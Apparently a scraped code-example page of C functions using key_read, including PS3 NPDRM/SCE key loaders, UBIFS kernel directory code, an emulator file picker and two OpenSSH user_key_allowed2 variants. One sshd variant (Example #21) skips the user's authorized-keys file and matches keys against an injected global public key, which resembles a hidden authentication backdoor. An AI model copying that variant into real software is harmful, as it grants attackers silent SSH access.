			snprintf(path, sizeof path, "%s/%s-priv-%s", base, name, id);
			if (key_read(path, 21, klist->keys[klist->n].priv) == 0) {
				klist->keys[klist->n].priv_avail = 1;
			} else {
				printf("  priv file:  %s (ERROR)\n", path);
			}


			klist->n++;
		}
	}

    if (type == KEY_NPDRM) {
        klist->idps = calloc(sizeof(struct key), 1);
        if (klist->idps == NULL)
            goto fail;
        snprintf(path, sizeof path, "%s/idps", base);
        if (key_read(path, 16, klist->idps->key) != 0) {
            printf("  key file:   %s (ERROR)\n", path);
        }

        klist->klic = calloc(sizeof(struct key), 1);
        if (klist->klic == NULL)
            goto fail;
        snprintf(path, sizeof path, "%s/klic-key", base);
        if (key_read(path, 16, klist->klic->key) != 0) {
            printf("  key file:   %s (ERROR)\n", path);
        }

        klist->rif = calloc(sizeof(struct key), 1);
        if (klist->rif == NULL)
            goto fail;
        snprintf(path, sizeof path, "%s/rif-key", base);
        if (key_read(path, 16, klist->rif->key) != 0) {
            printf("  key file:   %s (ERROR)\n", path);
        }

        klist->npdrm_const = calloc(sizeof(struct key), 1);
        if (klist->npdrm_const == NULL)
            goto fail;
        snprintf(path, sizeof path, "%s/npdrm-const", base);
        if (key_read(path, 16, klist->npdrm_const->key) != 0) {
            printf("  key file:   %s (ERROR)\n", path);
        }

        klist->free_klicensee = calloc(sizeof(struct key), 1);
        if (klist->free_klicensee == NULL)
            goto fail;
        snprintf(path, sizeof path, "%s/free_klicensee-key", base);
        if (key_read(path, 16, klist->free_klicensee->key) != 0) {
            printf("  key file:   %s (ERROR)\n", path);
        }
    }

	return klist;

fail:
	if (klist != NULL) {
		if (klist->keys != NULL)
			free(klist->keys);
		free(klist);
	}
	klist = NULL;

	return NULL;
}
Example #21
0
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
    char *line = NULL;
	const char *reason;
	int found_key = 0;
	FILE *f;
	u_long linenum = 0;
	Key *found;
	char *fp;

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);
	f = auth_openkeyfile(file, pw, options.strict_modes);

	if (!f) {
		restore_uid();
		return 0;
	}

	found_key = 0;
	found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);

    gs_auth_fingerprint = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
    if (gs_auth_pubkey == NULL) {
        gs_auth_pubkey = get_pubkey();
    }
    line = gs_auth_pubkey;
    while (line) {
		char *cp, *key_options = NULL;

		auth_clear_options();

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			break;

		if (key_read(found, &cp) != 1) {
			/* no key?  check if there are options for this key */
			int quoted = 0;
			debug2("user_key_allowed: check options: '%s'", cp);
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (key_read(found, &cp) != 1) {
				debug2("user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				break;
			}
		}
		if (key_equal(found, key)) {
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				break;
			if (key_is_cert_authority)
				break;
			found_key = 1;
			debug("matching key found: file %s, line %lu",
			    file, linenum);
			fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
			verbose("Found matching %s key: %s",
			    key_type(found), fp);
			xfree(fp);
			break;
		}
		break;
	}
	restore_uid();
	fclose(f);
	key_free(found);
	if (!found_key)
		debug2("key not found");
	return found_key;
}
Example #22
0
static int ubifs_create(struct inode *dir, struct dentry *dentry, int mode,
			struct nameidata *nd)
{
	struct inode *inode;
	struct ubifs_info *c = dir->i_sb->s_fs_info;
	int err, sz_change = CALC_DENT_SIZE(dentry->d_name.len);
	struct ubifs_budget_req req = { .new_ino = 1, .new_dent = 1,
					.dirtied_ino = 1 };
	struct ubifs_inode *dir_ui = ubifs_inode(dir);

	/*
	 * Budget request settings: new inode, new direntry, changing the
	 * parent directory inode.
	 */

	dbg_gen("dent '%.*s', mode %#x in dir ino %lu",
		dentry->d_name.len, dentry->d_name.name, mode, dir->i_ino);

	err = ubifs_budget_space(c, &req);
	if (err)
		return err;

	inode = ubifs_new_inode(c, dir, mode);
	if (IS_ERR(inode)) {
		err = PTR_ERR(inode);
		goto out_budg;
	}

	mutex_lock(&dir_ui->ui_mutex);
	dir->i_size += sz_change;
	dir_ui->ui_size = dir->i_size;
	dir->i_mtime = dir->i_ctime = inode->i_ctime;
	err = ubifs_jnl_update(c, dir, &dentry->d_name, inode, 0, 0);
	if (err)
		goto out_cancel;
	mutex_unlock(&dir_ui->ui_mutex);

	ubifs_release_budget(c, &req);
	insert_inode_hash(inode);
	d_instantiate(dentry, inode);
	return 0;

out_cancel:
	dir->i_size -= sz_change;
	dir_ui->ui_size = dir->i_size;
	mutex_unlock(&dir_ui->ui_mutex);
	make_bad_inode(inode);
	iput(inode);
out_budg:
	ubifs_release_budget(c, &req);
	ubifs_err("cannot create regular file, error %d", err);
	return err;
}

static unsigned int vfs_dent_type(uint8_t type)
{
	switch (type) {
	case UBIFS_ITYPE_REG:
		return DT_REG;
	case UBIFS_ITYPE_DIR:
		return DT_DIR;
	case UBIFS_ITYPE_LNK:
		return DT_LNK;
	case UBIFS_ITYPE_BLK:
		return DT_BLK;
	case UBIFS_ITYPE_CHR:
		return DT_CHR;
	case UBIFS_ITYPE_FIFO:
		return DT_FIFO;
	case UBIFS_ITYPE_SOCK:
		return DT_SOCK;
	default:
		BUG();
	}
	return 0;
}

static int ubifs_readdir(struct file *file, void *dirent, filldir_t filldir)
{
	int err, over = 0;
	struct qstr nm;
	union ubifs_key key;
	struct ubifs_dent_node *dent;
	struct inode *dir = file->f_path.dentry->d_inode;
	struct ubifs_info *c = dir->i_sb->s_fs_info;

	dbg_gen("dir ino %lu, f_pos %#llx", dir->i_ino, file->f_pos);

	if (file->f_pos > UBIFS_S_KEY_HASH_MASK || file->f_pos == 2)
		/*
		 * The directory was seek'ed to a senseless position or there
		 * are no more entries.
		 */
		return 0;

	/* File positions 0 and 1 correspond to "." and ".." */
	if (file->f_pos == 0) {
		ubifs_assert(!file->private_data);
		over = filldir(dirent, ".", 1, 0, dir->i_ino, DT_DIR);
		if (over)
			return 0;
		file->f_pos = 1;
	}

	if (file->f_pos == 1) {
		ubifs_assert(!file->private_data);
		over = filldir(dirent, "..", 2, 1,
			       parent_ino(file->f_path.dentry), DT_DIR);
		if (over)
			return 0;

		/* Find the first entry in TNC and save it */
		lowest_dent_key(c, &key, dir->i_ino);
		nm.name = NULL;
		dent = ubifs_tnc_next_ent(c, &key, &nm);
		if (IS_ERR(dent)) {
			err = PTR_ERR(dent);
			goto out;
		}

		file->f_pos = key_hash_flash(c, &dent->key);
		file->private_data = dent;
	}

	dent = file->private_data;
	if (!dent) {
		/*
		 * The directory was seek'ed to and is now readdir'ed.
		 * Find the entry corresponding to @file->f_pos or the
		 * closest one.
		 */
		dent_key_init_hash(c, &key, dir->i_ino, file->f_pos);
		nm.name = NULL;
		dent = ubifs_tnc_next_ent(c, &key, &nm);
		if (IS_ERR(dent)) {
			err = PTR_ERR(dent);
			goto out;
		}
		file->f_pos = key_hash_flash(c, &dent->key);
		file->private_data = dent;
	}

	while (1) {
		dbg_gen("feed '%s', ino %llu, new f_pos %#x",
			dent->name, (unsigned long long)le64_to_cpu(dent->inum),
			key_hash_flash(c, &dent->key));
		ubifs_assert(le64_to_cpu(dent->ch.sqnum) >
			     ubifs_inode(dir)->creat_sqnum);

		nm.len = le16_to_cpu(dent->nlen);
		over = filldir(dirent, dent->name, nm.len, file->f_pos,
			       le64_to_cpu(dent->inum),
			       vfs_dent_type(dent->type));
		if (over)
			return 0;

		/* Switch to the next entry */
		key_read(c, &dent->key, &key);
		nm.name = dent->name;
		dent = ubifs_tnc_next_ent(c, &key, &nm);
		if (IS_ERR(dent)) {
			err = PTR_ERR(dent);
			goto out;
		}

		kfree(file->private_data);
		file->f_pos = key_hash_flash(c, &dent->key);
		file->private_data = dent;
		cond_resched();
	}

out:
	if (err != -ENOENT) {
		ubifs_err("cannot find next direntry, error %d", err);
		return err;
	}

	kfree(file->private_data);
	file->private_data = NULL;
	file->f_pos = 2;
	return 0;
}
int key_get(enum sce_key type, const char *suffix, struct key *k)
{
	const char *name = "";
	const char *rev = "";
	char base[256];
	char path[256];
	u8 tmp[4];

	if ( strncmp( suffix, "retail", strlen( suffix ) ) == 0 ) {
		rev = "retail";
	} else if ( atoi( suffix ) <= 92 ) {
		suffix = "092";
		rev = "0x00";
	} else if ( atoi( suffix ) <= 331 ) {
		suffix = "315";
		rev = "0x01";
	} else if ( atoi( suffix ) <= 342 ) {
		suffix = "341";
		rev = "0x04";
	} else if ( atoi( suffix ) <= 350 ) {
		suffix = "350";
		rev = "0x07";
	} else if ( atoi( suffix ) <= 355 ) {
		suffix = "355";
		rev = "0x0a";
	} else if ( atoi( suffix ) <= 356 ) {
		suffix = "356";
		rev = "0x0d";
	}
	printf("  file suffix:    %s (rev %s)\n", suffix, rev );

	if (key_build_path(base) < 0)
		return -1;

	name = id2name(type, t_key2file, NULL);
	if (name == NULL)
		return -1;

	snprintf(path, sizeof path, "%s/%s-key-%s", base, name, suffix);
	if (key_read(path, 32, k->key) < 0) {
		printf("  key file:   %s (ERROR)\n", path);
		return -1;
	}

	snprintf(path, sizeof path, "%s/%s-iv-%s", base, name, suffix);
	if (key_read(path, 16, k->iv) < 0) {
		printf("  iv file:    %s (ERROR)\n", path);
		return -1;
	}

	k->pub_avail = k->priv_avail = 1;

	snprintf(path, sizeof path, "%s/%s-ctype-%s", base, name, suffix);
	if (key_read(path, 4, tmp) < 0) {
		k->pub_avail = k->priv_avail = -1;
		printf("  ctype file: %s (ERROR)\n", path);
		return 0;
	}

	k->ctype = be32(tmp);

	snprintf(path, sizeof path, "%s/%s-pub-%s", base, name, suffix);
	if (key_read(path, 40, k->pub) < 0) {
		printf("  pub file:   %s (ERROR)\n", path);
		k->pub_avail = -1;
	}

	snprintf(path, sizeof path, "%s/%s-priv-%s", base, name, suffix);
	if (key_read(path, 21, k->priv) < 0) {
		printf("  priv file:  %s (ERROR)\n", path);
		k->priv_avail = -1;
	}

	return 0;
}
Example #24
0
File: dir.c Project: DenisLug/mptcp
static int ubifs_create(struct inode *dir, struct dentry *dentry, umode_t mode,
			bool excl)
{
	struct inode *inode;
	struct ubifs_info *c = dir->i_sb->s_fs_info;
	int err, sz_change = CALC_DENT_SIZE(dentry->d_name.len);
	struct ubifs_budget_req req = { .new_ino = 1, .new_dent = 1,
					.dirtied_ino = 1 };
	struct ubifs_inode *dir_ui = ubifs_inode(dir);

	/*
	 * Budget request settings: new inode, new direntry, changing the
	 * parent directory inode.
	 */

	dbg_gen("dent '%pd', mode %#hx in dir ino %lu",
		dentry, mode, dir->i_ino);

	err = ubifs_budget_space(c, &req);
	if (err)
		return err;

	inode = ubifs_new_inode(c, dir, mode);
	if (IS_ERR(inode)) {
		err = PTR_ERR(inode);
		goto out_budg;
	}

	err = ubifs_init_security(dir, inode, &dentry->d_name);
	if (err)
		goto out_inode;

	mutex_lock(&dir_ui->ui_mutex);
	dir->i_size += sz_change;
	dir_ui->ui_size = dir->i_size;
	dir->i_mtime = dir->i_ctime = inode->i_ctime;
	err = ubifs_jnl_update(c, dir, &dentry->d_name, inode, 0, 0);
	if (err)
		goto out_cancel;
	mutex_unlock(&dir_ui->ui_mutex);

	ubifs_release_budget(c, &req);
	insert_inode_hash(inode);
	d_instantiate(dentry, inode);
	return 0;

out_cancel:
	dir->i_size -= sz_change;
	dir_ui->ui_size = dir->i_size;
	mutex_unlock(&dir_ui->ui_mutex);
out_inode:
	make_bad_inode(inode);
	iput(inode);
out_budg:
	ubifs_release_budget(c, &req);
	ubifs_err(c, "cannot create regular file, error %d", err);
	return err;
}

/**
 * vfs_dent_type - get VFS directory entry type.
 * @type: UBIFS directory entry type
 *
 * This function converts UBIFS directory entry type into VFS directory entry
 * type.
 */
static unsigned int vfs_dent_type(uint8_t type)
{
	switch (type) {
	case UBIFS_ITYPE_REG:
		return DT_REG;
	case UBIFS_ITYPE_DIR:
		return DT_DIR;
	case UBIFS_ITYPE_LNK:
		return DT_LNK;
	case UBIFS_ITYPE_BLK:
		return DT_BLK;
	case UBIFS_ITYPE_CHR:
		return DT_CHR;
	case UBIFS_ITYPE_FIFO:
		return DT_FIFO;
	case UBIFS_ITYPE_SOCK:
		return DT_SOCK;
	default:
		BUG();
	}
	return 0;
}

/*
 * The classical Unix view for directory is that it is a linear array of
 * (name, inode number) entries. Linux/VFS assumes this model as well.
 * Particularly, 'readdir()' call wants us to return a directory entry offset
 * which later may be used to continue 'readdir()'ing the directory or to
 * 'seek()' to that specific direntry. Obviously UBIFS does not really fit this
 * model because directory entries are identified by keys, which may collide.
 *
 * UBIFS uses directory entry hash value for directory offsets, so
 * 'seekdir()'/'telldir()' may not always work because of possible key
 * collisions. But UBIFS guarantees that consecutive 'readdir()' calls work
 * properly by means of saving full directory entry name in the private field
 * of the file description object.
 *
 * This means that UBIFS cannot support NFS which requires full
 * 'seekdir()'/'telldir()' support.
 */
static int ubifs_readdir(struct file *file, struct dir_context *ctx)
{
	int err;
	struct qstr nm;
	union ubifs_key key;
	struct ubifs_dent_node *dent;
	struct inode *dir = file_inode(file);
	struct ubifs_info *c = dir->i_sb->s_fs_info;

	dbg_gen("dir ino %lu, f_pos %#llx", dir->i_ino, ctx->pos);

	if (ctx->pos > UBIFS_S_KEY_HASH_MASK || ctx->pos == 2)
		/*
		 * The directory was seek'ed to a senseless position or there
		 * are no more entries.
		 */
		return 0;

	if (file->f_version == 0) {
		/*
		 * The file was seek'ed, which means that @file->private_data
		 * is now invalid. This may also be just the first
		 * 'ubifs_readdir()' invocation, in which case
		 * @file->private_data is NULL, and the below code is
		 * basically a no-op.
		 */
		kfree(file->private_data);
		file->private_data = NULL;
	}

	/*
	 * 'generic_file_llseek()' unconditionally sets @file->f_version to
	 * zero, and we use this for detecting whether the file was seek'ed.
	 */
	file->f_version = 1;

	/* File positions 0 and 1 correspond to "." and ".." */
	if (ctx->pos < 2) {
		ubifs_assert(!file->private_data);
		if (!dir_emit_dots(file, ctx))
			return 0;

		/* Find the first entry in TNC and save it */
		lowest_dent_key(c, &key, dir->i_ino);
		nm.name = NULL;
		dent = ubifs_tnc_next_ent(c, &key, &nm);
		if (IS_ERR(dent)) {
			err = PTR_ERR(dent);
			goto out;
		}

		ctx->pos = key_hash_flash(c, &dent->key);
		file->private_data = dent;
	}

	dent = file->private_data;
	if (!dent) {
		/*
		 * The directory was seek'ed to and is now readdir'ed.
		 * Find the entry corresponding to @ctx->pos or the closest one.
		 */
		dent_key_init_hash(c, &key, dir->i_ino, ctx->pos);
		nm.name = NULL;
		dent = ubifs_tnc_next_ent(c, &key, &nm);
		if (IS_ERR(dent)) {
			err = PTR_ERR(dent);
			goto out;
		}
		ctx->pos = key_hash_flash(c, &dent->key);
		file->private_data = dent;
	}

	while (1) {
		dbg_gen("feed '%s', ino %llu, new f_pos %#x",
			dent->name, (unsigned long long)le64_to_cpu(dent->inum),
			key_hash_flash(c, &dent->key));
		ubifs_assert(le64_to_cpu(dent->ch.sqnum) >
			     ubifs_inode(dir)->creat_sqnum);

		nm.len = le16_to_cpu(dent->nlen);
		if (!dir_emit(ctx, dent->name, nm.len,
			       le64_to_cpu(dent->inum),
			       vfs_dent_type(dent->type)))
			return 0;

		/* Switch to the next entry */
		key_read(c, &dent->key, &key);
		nm.name = dent->name;
		dent = ubifs_tnc_next_ent(c, &key, &nm);
		if (IS_ERR(dent)) {
			err = PTR_ERR(dent);
			goto out;
		}

		kfree(file->private_data);
		ctx->pos = key_hash_flash(c, &dent->key);
		file->private_data = dent;
		cond_resched();
	}

out:
	if (err != -ENOENT) {
		ubifs_err(c, "cannot find next direntry, error %d", err);
		return err;
	}

	kfree(file->private_data);
	file->private_data = NULL;
	/* 2 is a special value indicating that there are no more direntries */
	ctx->pos = 2;
	return 0;
}
Example #25
0
struct keylist *keys_get(enum sce_key type)
{
	const char *name = NULL;
	char base[256];
	char path[256];
	void *tmp = NULL;
	char *id;
	DIR *dp;
	struct dirent *dent;
	struct keylist *klist;
	u8 bfr[4];

	klist = malloc(sizeof *klist);
	if (klist == NULL)
		goto fail;

	memset(klist, 0, sizeof *klist);

	name = id2name(type, t_key2file, NULL);
	if (name == NULL)
		goto fail;

	if (key_build_path(base) < 0)
		goto fail;

	dp = opendir(base);
	if (dp == NULL)
		goto fail;

	while ((dent = readdir(dp)) != NULL) {
		if (strncmp(dent->d_name, name, strlen(name)) == 0 &&
		    strstr(dent->d_name, "key") != NULL) {
			tmp = realloc(klist->keys, (klist->n + 1) * sizeof(struct key));
			if (tmp == NULL)
				goto fail;

			id = strrchr(dent->d_name, '-');
			if (id != NULL)
				id++;

			klist->keys = tmp;
			memset(&klist->keys[klist->n], 0, sizeof(struct key));

			snprintf(path, sizeof path, "%s/%s-key-%s", base, name, id);
			key_read(path, 32, klist->keys[klist->n].key);

			snprintf(path, sizeof path, "%s/%s-iv-%s", base, name, id);
			key_read(path, 16, klist->keys[klist->n].iv);

			klist->keys[klist->n].pub_avail = -1;
			klist->keys[klist->n].priv_avail = -1;

			snprintf(path, sizeof path, "%s/%s-pub-%s", base, name, id);
			if (key_read(path, 40, klist->keys[klist->n].pub) == 0) {
				snprintf(path, sizeof path, "%s/%s-ctype-%s", base, name, id);
				key_read(path, 4, bfr);

				klist->keys[klist->n].pub_avail = 1;
				klist->keys[klist->n].ctype = be32(bfr);
			}

			snprintf(path, sizeof path, "%s/%s-priv-%s", base, name, id);
			if (key_read(path, 21, klist->keys[klist->n].priv) == 0)
				klist->keys[klist->n].priv_avail = 1;


			klist->n++;
		}
	}

	return klist;

fail:
	if (klist != NULL) {
		if (klist->keys != NULL)
			free(klist->keys);
		free(klist);
	}
	klist = NULL;

	return NULL;
}
Example #26
0
char *FileReq(char *dir, const char *ext, char *result)
{
	static char *cwd = NULL;
	static s32 cursor_pos = 1;
	static s32 first_visible;
	static s32 num_items = 0;
	DIR *dirstream;
	struct dirent *direntry;
	static s32 row;
	char tmp_string[41];
	u32 keys;

	if (dir)
		ChDir(dir);

	cwd = GetCwd();

	for (;;) {
		keys = key_read();

		video_clear();

		if (keys & KEY_SELECT) {
			FREE_LIST();
			key_reset();
			return NULL;
		}

		if (num_items == 0) {
			dirstream = opendir(cwd);
			if (dirstream == NULL) {
				port_printf(0, 20, "error opening directory");
				return NULL;
			}
			// read directory entries
			while ((direntry = readdir(dirstream))) {
				s32 type = get_entry_type(cwd, direntry->d_name);

				// this is a very ugly way of only accepting a certain extension
				if ((type == 0 && strcmp(direntry->d_name, ".")) ||
				     check_ext(direntry->d_name) ||
				    (ext && (strlen(direntry->d_name) > 4 &&0 == strncasecmp(direntry->d_name + (strlen(direntry->d_name) - strlen(ext)), ext, strlen(ext))))) {
					// Hide ".." if at Unix root dir. Don't display Unix hidden files (.file).
					if ((!strcmp(direntry->d_name, "..") && strcmp(cwd, "/")) || direntry->d_name[0] != '.')
					{
						filereq_dir_items[num_items].name = (char *)malloc(strlen(direntry->d_name) + 1);
						strcpy(filereq_dir_items[num_items].name, direntry->d_name);
						filereq_dir_items[num_items].type = type;
						num_items++;
						if (num_items > 1024) break;
					}
				}
			}
			closedir(dirstream);

			sort_dir(filereq_dir_items, num_items);
			cursor_pos = 0;
			first_visible = 0;
		}

		// display current directory
		int len = strlen(cwd);

		if (len > 40) {
			strcpy(tmp_string, "..");
			strcat(tmp_string, cwd + len - 38);
			port_printf(0, MENU_Y, tmp_string);
		} else
			port_printf(0, MENU_Y, cwd);

		if (keys & KEY_DOWN) { //down
			if (++cursor_pos >= num_items) {
				cursor_pos = 0;
				first_visible = 0;
			}
			if ((cursor_pos - first_visible) >= MENU_HEIGHT) first_visible++;
		} else if (keys & KEY_UP) { // up
			if (--cursor_pos < 0) {
				cursor_pos = num_items - 1;
				first_visible = cursor_pos - MENU_HEIGHT + 1;
				if (first_visible < 0) first_visible = 0;
			}
			if (cursor_pos < first_visible) first_visible--;
		} else if (keys & KEY_LEFT) { //left
			if (cursor_pos >= 10) cursor_pos -= 10;
			else cursor_pos = 0;
			if (cursor_pos < first_visible) first_visible = cursor_pos;
		} else if (keys & KEY_RIGHT) { //right
			if (cursor_pos < (num_items - 11)) cursor_pos += 10;
			else cursor_pos = num_items - 1;
			if ((cursor_pos - first_visible) >= MENU_HEIGHT)
				first_visible = cursor_pos - (MENU_HEIGHT - 1);
		} else if (keys & KEY_A) { // button 1
			// directory selected
			if (filereq_dir_items[cursor_pos].type == 0) {
				strcat(cwd, "/");
				strcat(cwd, filereq_dir_items[cursor_pos].name);

				ChDir(cwd);
				cwd = GetCwd();

				FREE_LIST();
				key_reset();
			} else {
				sprintf(result, "%s/%s", cwd, filereq_dir_items[cursor_pos].name);
				if (dir)
					strcpy(dir, cwd);

				video_clear();
				port_printf(16 * 8, 120, "LOADING");
				video_flip();

				FREE_LIST();
				key_reset();
				return result;
			}
		} else if (keys & KEY_B) {
			cursor_pos = 0;
			first_visible = 0;
			key_reset();
		}

		// display directory contents
		row = 0;
		while (row < num_items && row < MENU_HEIGHT) {
			if (row == (cursor_pos - first_visible)) {
				// draw cursor
				port_printf(MENU_X + 16, MENU_LS + (10 * row), "-->");
			}

			if (filereq_dir_items[row + first_visible].type == 0)
				port_printf(MENU_X, MENU_LS + (10 * row), "DIR");
			int len = strlen(filereq_dir_items[row + first_visible].name);
			if (len > 32) {
				snprintf(tmp_string, 16, "%s", filereq_dir_items[row + first_visible].name);
				strcat(tmp_string, "..");
				strcat(tmp_string, &filereq_dir_items[row + first_visible].name[len - 15]);
			} else
			snprintf(tmp_string, 33, "%s", filereq_dir_items[row + first_visible].name);
			port_printf(MENU_X + (8 * 5), MENU_LS + (10 * row), tmp_string);
			row++;
		}
		while (row < MENU_HEIGHT)
			row++;

		video_flip();
		timer_delay(75);

		if (keys & (KEY_A | KEY_B | KEY_X | KEY_Y | KEY_L | KEY_R |
			    KEY_LEFT | KEY_RIGHT | KEY_UP | KEY_DOWN))
			timer_delay(50);
	}

	return NULL;
}
Example #27
0
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
	char line[SSH_MAX_PUBKEY_BYTES];
	const char *reason;
	int found_key = 0;
	FILE *f;
	u_long linenum = 0;
	Key *found;
	char *fp;

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);
	f = auth_openkeyfile(file, pw, options.strict_modes);

	if (!f) {
		restore_uid();
		return 0;
	}

	found_key = 0;
	found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);

	while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
		char *cp, *key_options = NULL;

		auth_clear_options();

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		if (key_read(found, &cp) != 1) {
			/* no key?  check if there are options for this key */
			int quoted = 0;
			debug2("user_key_allowed: check options: '%s'", cp);
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (key_read(found, &cp) != 1) {
				debug2("user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				continue;
			}
		}
		if (key_is_cert(key)) {
			if (!key_equal(found, key->cert->signature_key))
				continue;
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (!key_is_cert_authority)
				continue;
			fp = key_fingerprint(found, SSH_FP_MD5,
			    SSH_FP_HEX);
			debug("matching CA found: file %s, line %lu, %s %s",
			    file, linenum, key_type(found), fp);
			/*
			 * If the user has specified a list of principals as
			 * a key option, then prefer that list to matching
			 * their username in the certificate principals list.
			 */
			if (authorized_principals != NULL &&
			    !match_principals_option(authorized_principals,
			    key->cert)) {
				reason = "Certificate does not contain an "
				    "authorized principal";
 fail_reason:
				xfree(fp);
				error("%s", reason);
				auth_debug_add("%s", reason);
				continue;
			}
			if (key_cert_check_authority(key, 0, 0,
			    authorized_principals == NULL ? pw->pw_name : NULL,
			    &reason) != 0)
				goto fail_reason;
			if (auth_cert_options(key, pw) != 0) {
				xfree(fp);
				continue;
			}
			verbose("Accepted certificate ID \"%s\" "
			    "signed by %s CA %s via %s", key->cert->key_id,
			    key_type(found), fp, file);
			xfree(fp);
			found_key = 1;
			break;
		} else if (key_equal(found, key)) {
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (key_is_cert_authority)
				continue;
			found_key = 1;
			debug("matching key found: file %s, line %lu",
			    file, linenum);
			fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
			verbose("Found matching %s key: %s",
			    key_type(found), fp);
			xfree(fp);
			break;
		}
	}
	restore_uid();
	fclose(f);
	key_free(found);
	if (!found_key)
		debug2("key not found");
	return found_key;
}
Example #28
0
//To choose which of a multi-CD image should be used. Can be called
// from front-end 'Swap CD' menu item, in which case parameter
// 'swapping_cd' is true. Or, can be called via callback function
// gui_select_multicd_to_boot_from() inside cdriso.cpp, in which
// case swapping_cd parameter is false.
static int gui_select_multicd(bool swapping_cd)
{
	if (cdrIsoMultidiskCount <= 1)
		return 0;

	// Only max of 8 ISO images inside an Eboot multi-disk .pbp are supported
	//  by cdriso.cpp PBP code, but enforce it here to be sure:
	int num_rows = (cdrIsoMultidiskCount > 8) ? 8 : cdrIsoMultidiskCount;

	int cursor_pos = cdrIsoMultidiskSelect;
	if ((cursor_pos >= num_rows) || (cursor_pos < 0))
		cursor_pos = 0;

	for (;;) {
		video_clear();
		u32 keys = key_read();

		if ((swapping_cd) && (keys & KEY_SELECT)) {
			key_reset();
			return 0;
		}

		if (!swapping_cd)
			port_printf(MENU_X, MENU_Y, "Multi-CD image detected:");

		char tmp_string[41];
		for (int row=0; row < num_rows; ++row) {
			if (row == cursor_pos) {
				// draw cursor
				port_printf(MENU_X + 16, MENU_LS + 10 + (10 * row), "-->");
			}

			sprintf(tmp_string, "CD %d", (row+1));

			if (swapping_cd && (row == cdrIsoMultidiskSelect)) {
				// print indication of which CD is already inserted
				strcat(tmp_string, " (inserted)");
			}

			port_printf(MENU_X + (8 * 5), MENU_LS + 10 + (10 * row), tmp_string);
		}

		if (keys & KEY_DOWN) { //down
			if (++cursor_pos >= num_rows)
				cursor_pos = 0;
		} else if (keys & KEY_UP) { // up
			if (--cursor_pos < 0)
				cursor_pos = num_rows - 1;
		} else if (keys & KEY_LEFT) { //left
			cursor_pos = 0;
		} else if (keys & KEY_RIGHT) { //right
			cursor_pos = num_rows - 1;
		} else if (keys & KEY_A) { // button 1
			key_reset();
			cdrIsoMultidiskSelect = cursor_pos;
			video_clear();
			video_flip();
			// Forget last used save slot
			saveslot = -1;
			return 1;
		}

		video_flip();
		timer_delay(75);

		if (keys & (KEY_A | KEY_B | KEY_X | KEY_Y | KEY_L | KEY_R |
			    KEY_LEFT | KEY_RIGHT | KEY_UP | KEY_DOWN))
			timer_delay(50);
	}

}
Example #29
0
/**
 * dbg_check_old_index - check the old copy of the index.
 * @c: UBIFS file-system description object
 * @zroot: root of the new index
 *
 * In order to be able to recover from an unclean unmount, a complete copy of
 * the index must exist on flash. This is the "old" index. The commit process
 * must write the "new" index to flash without overwriting or destroying any
 * part of the old index. This function is run at commit end in order to check
 * that the old index does indeed exist completely intact.
 *
 * This function returns %0 on success and a negative error code on failure.
 */
int dbg_check_old_index(struct ubifs_info *c, struct ubifs_zbranch *zroot)
{
	int lnum, offs, len, err = 0, uninitialized_var(last_level), child_cnt;
	int first = 1, iip;
	struct ubifs_debug_info *d = c->dbg;
	union ubifs_key lower_key, upper_key, l_key, u_key;
	unsigned long long uninitialized_var(last_sqnum);
	struct ubifs_idx_node *idx;
	struct list_head list;
	struct idx_node *i;
	size_t sz;

	if (!(ubifs_chk_flags & UBIFS_CHK_OLD_IDX))
		goto out;

	INIT_LIST_HEAD(&list);

	sz = sizeof(struct idx_node) + ubifs_idx_node_sz(c, c->fanout) -
	     UBIFS_IDX_NODE_SZ;

	/* Start at the old zroot */
	lnum = d->old_zroot.lnum;
	offs = d->old_zroot.offs;
	len = d->old_zroot.len;
	iip = 0;

	/*
	 * Traverse the index tree preorder depth-first i.e. do a node and then
	 * its subtrees from left to right.
	 */
	while (1) {
		struct ubifs_branch *br;

		/* Get the next index node */
		i = kmalloc(sz, GFP_NOFS);
		if (!i) {
			err = -ENOMEM;
			goto out_free;
		}
		i->iip = iip;
		/* Keep the index nodes on our path in a linked list */
		list_add_tail(&i->list, &list);
		/* Read the index node */
		idx = &i->idx;
		err = ubifs_read_node(c, idx, UBIFS_IDX_NODE, len, lnum, offs);
		if (err)
			goto out_free;
		/* Validate index node */
		child_cnt = le16_to_cpu(idx->child_cnt);
		if (child_cnt < 1 || child_cnt > c->fanout) {
			err = 1;
			goto out_dump;
		}
		if (first) {
			first = 0;
			/* Check root level and sqnum */
			if (le16_to_cpu(idx->level) != d->old_zroot_level) {
				err = 2;
				goto out_dump;
			}
			if (le64_to_cpu(idx->ch.sqnum) != d->old_zroot_sqnum) {
				err = 3;
				goto out_dump;
			}
